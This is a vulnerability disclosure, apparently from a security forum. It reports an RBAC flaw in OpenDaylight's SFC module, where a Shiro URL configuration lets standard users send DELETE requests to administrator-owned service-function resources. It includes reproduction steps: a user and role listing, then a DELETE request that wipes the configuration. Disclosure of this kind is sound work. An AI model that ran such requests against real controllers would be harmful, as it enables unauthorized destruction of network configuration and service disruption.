OpenDaylight SFC Privilege Escalation: Shiro Coarse-Grained URL Config Causes RBAC Failure

OpenDaylight TokenAuthRealm Privilege Escalation Vulnerability: SFC User Permission Elevation

沫上*琉璃

1283人浏览 · 2025-03-06 20:59:14

沫上*琉璃 · 2025-03-06 20:59:14 发布

Describe the bug

To Reproduce

Expected behavior

Desktop (please complete the following information)

Additional context

Describe the bug

In the OpenDaylight SDN controller’s Service Function Chaining (SFC) module, the Shiro-based RBAC mechanism defines security policies for SFC resources through static URL patterns in the Shiro configuration model. However, a critical privilege escalation vulnerability arises from the coarse-grained URL-to-role mapping and the lack of context-aware authorization checks.

Specifically, the<urls>configuration binds SFC resource paths(/restconf/config/service-function) to roles (e.g., roles[ADMIN]) without differentiating HTTP operation types (GET, POST, DELETE). This allows a low-privileged user (e.g., role USER) to execute administrative actions (e.g., DELETE) if the path is broadly permitted for their role. For instance, if /restconf/config/service-function is configured with roles[USER] for write operations, an attacker can craft malicious HTTP requests (e.g., altering service chain priorities or deleting mappings) to tamper with SFC configurations.

The static RBAC model fails to validate dynamic context such as resource ownership (e.g., tenant isolation) or session state, enabling unauthorized cross-tenant access. Additionally, wildcard URL patterns (e.g., /**) further expand the attack surface by bypassing subpath-specific policies.

To Reproduce

1.Start the OpenDaylight controller

lt@lt:~/sfc-idea/sfc-release-sodium-sr4/karaf/target/assembly/bin$ sudo ./karaf

2.Check the user accounts created in OpenDaylight

lt@lt:~/sfc-idea/sfc-release-sodium-sr4/karaf/target/assembly/system/org/opendaylight/aaa/aaa-shiro/0.10.4$ python aaa-shiro-0.10.4-idmtool.py admin list-users
Password:
list_users
http://localhost:8181/auth/v1/users

Operation Successful!!
json:
{
    "users": [
        {
            "description": "admin user",
            "domainid": "sdn",
            "email": "",
            "enabled": 1,
            "name": "admin",
            "password": "**********",
            "salt": "**********",
            "userid": "admin@sdn"
        },
        {
            "description": "user1's User Account",
            "domainid": "test1",
            "email": "user1@gmail.com",
            "enabled": 1,
            "name": "user1",
            "password": "**********",
            "salt": "**********",
            "userid": "user1@test1"
        },
        {
            "description": "user2's User Account",
            "domainid": "test2",
            "email": "user2@gmail.com",
            "enabled": 1,
            "name": "user2",
            "password": "**********",
            "salt": "**********",
            "userid": "user2@test2"
        },
        {
            "description": "user3's User Account",
            "domainid": "sdn",
            "email": "user3@gmail.com",
            "enabled": 1,
            "name": "user3",
            "password": "**********",
            "salt": "**********",
            "userid": "user3@sdn"
        },
        {
            "description": "user4's User Account",
            "domainid": "sdn",
            "email": "user4@gmail.com",
            "enabled": 1,
            "name": "user4",
            "password": "**********",
            "salt": "**********",
            "userid": "user4@sdn"
        }
    ]
}

3.Check the roles created in OpenDaylight

lt@lt:~/sfc-idea/sfc-release-sodium-sr4/karaf/target/assembly/system/org/opendaylight/aaa/aaa-shiro/0.10.4$ python aaa-shiro-0.10.4-idmtool.py admin list-roles
Password:
list_roles
http://localhost:8181/auth/v1/roles

Operation Successful!!
json:
{
    "roles": [
        {
            "description": "a role for admins",
            "domainid": "sdn",
            "name": "admin",
            "roleid": "admin@sdn"
        },
        {
            "description": "a role for users",
            "domainid": "sdn",
            "name": "user",
            "roleid": "user@sdn"
        },
        {
            "description": "a role for users",
            "domainid": "test1",
            "name": "user",
            "roleid": "user@test1"
        },
        {
            "description": "a role for users",
            "domainid": "test2",
            "name": "user",
            "roleid": "user@test2"
        }
    ]
}

Note: OpenDaylight controller implements a Role-Based Access Control (RBAC) mechanism. In this mechanism, users are granted permissions based on their roles within a specific domain. Different domains are isolated from each other, and users can only access resources within a domain if they possess the corresponding role and permissions in that domain.

As shown in the table below:

Users		Legal User					Illegal User
		admin	user3	user4	user1	user2	sa（Unknown）
Domainid		sdn			test1	test2
Roles		admin	user		user
Permission	GET
	PUT
	DELETE

Note: Here, "legal users" refer to users who have registered through official channels. "Illegal users" are those whose information is not present in the database, indicating they are unregistered users（Subsequently, they can be referred to as the attacker.）.In OpenDaylight, "admin" corresponds to administrative privileges, while "user" corresponds to user privileges.

4.Using the admin administrator account, obtain the resource status corresponding to the service functions in the service function chain（SFC）.

GET http://127.0.0.1:8181/restconf/config/service-function:service-functions/

{
    "service-functions": {
        "service-function": [
            {
                "name": "SF1",
                "rest-uri": "http://127.0.0.1:5000",
                "sf-data-plane-locator": [
                    {
                        "name": "lt-sf1",
                        "port": 1025,
                        "ip": "127.0.0.1",
                        "service-function-forwarder": "SFF1",
                        "transport": "service-locator:vxlan-gpe"
                    }
                ],
                "type": "firewall",
                "ip-mgmt-address": "127.0.0.1"
            }
        ]
    }
}

5.Using the user standard account, modify the resource status corresponding to the service functions in the service function chain (standard users are not allowed to modify the resource information of the admin administrator, as the admin has the highest level of privileges).

DELETE http://127.0.0.1:8181/restconf/config/service-function:service-functions/

Note: The cookies in the original admin account have been cleared.And after each operation, the corresponding cookies were cleared.

6.Using the admin administrator account to Check the resource status corresponding to the service functions in the service function chain, it was discovered that the resource information has been deleted.

GET http://127.0.0.1:8181/restconf/config/service-function:service-functions/

{
    "errors": {
        "error": [
            {
                "error-type": "application",
                "error-tag": "data-missing",
                "error-message": "Request could not be completed because the relevant data model content does not exist"
            }
        ]
    }
}

Note: Similarly, user4 can also have the same impact on admin as user3, hence no further elaboration is provided.

Expected behavior

1.Privilege Escalation: Ordinary users (user3, user4) can obtain administrative-level (admin) privileges, thereby gaining access to and the ability to manipulate system resources and configurations that are originally accessible only by administrators.

2.Data Breach: Attackers can access sensitive data within the SFC, including but not limited to user information, configuration data, network topology, and other critical business information. The privacy of these information will be violated.

3.Service Interruption: Attackers can modify or delete critical Service Function Chain (SFC) components, leading to network service disruptions or a decrease in service quality.

Desktop (please complete the following information)

OpenDaylight：sodium-sr4
OS：Ubuntu 20.04.6 LTS
Python：python 3.8.10
Apache Maven:Maven 3.8.8
Java version:1.8.0_381
Postman：Postman v10.24.26

Additional context

The root cause is the mismatch between Shiro’s static RBAC and the dynamic nature of SFC resources. In multi-tenant environments, SFC operations require context-sensitive permissions (e.g., based on resource state or tenant ownership), but Shiro’s URL-centric model cannot enforce such logic. For example:

A user with users role may delete another tenant’s SFC configuration if the path /restconf/config/service-functions lacks tenant-ID validation.
The controller implicitly trusts Shiro’s authorization result, allowing malicious modifications (e.g., service chain remapping) to propagate to the network layer, causing policy conflicts or service disruption.